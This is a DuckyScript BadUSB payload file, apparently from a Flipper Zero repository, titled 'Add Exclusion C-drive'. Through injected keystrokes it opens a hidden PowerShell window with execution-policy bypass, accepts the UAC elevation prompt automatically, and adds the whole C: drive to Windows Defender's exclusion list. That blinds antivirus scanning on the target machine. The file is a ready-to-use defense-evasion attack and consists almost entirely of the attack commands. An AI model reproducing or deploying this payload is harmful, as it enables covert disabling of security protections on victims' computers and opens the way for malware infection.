Files
BadUSB-Files-For-FlipperZero/Tools/Add Exclusion C-drive.txt
2023-05-10 12:59:05 +00:00

24 lines
568 B
Plaintext

REM Title: Add Exclusion C-drive
REM Author: @beigeworm | https://github.com/beigeworm
REM Description: Uses Powershell to add an exclusion to Windows Defender to ingore any files within C:/
REM Target: Windows 10
REM some setup for dukie script.
DEFAULT_DELAY 100
REM open powershell (remove -W Hidden to show the window).
GUI r
DELAY 750
STRING powershell -NoP -NonI -W Hidden -Exec Bypass
CTRL-SHIFT ENTER
DELAY 1500
ALT y
DELAY 5000
REM add the exclusion path.
STRING Add-MpPreference -ExclusionPath C:\
ENTER
DELAY 250
STRING exit
ENTER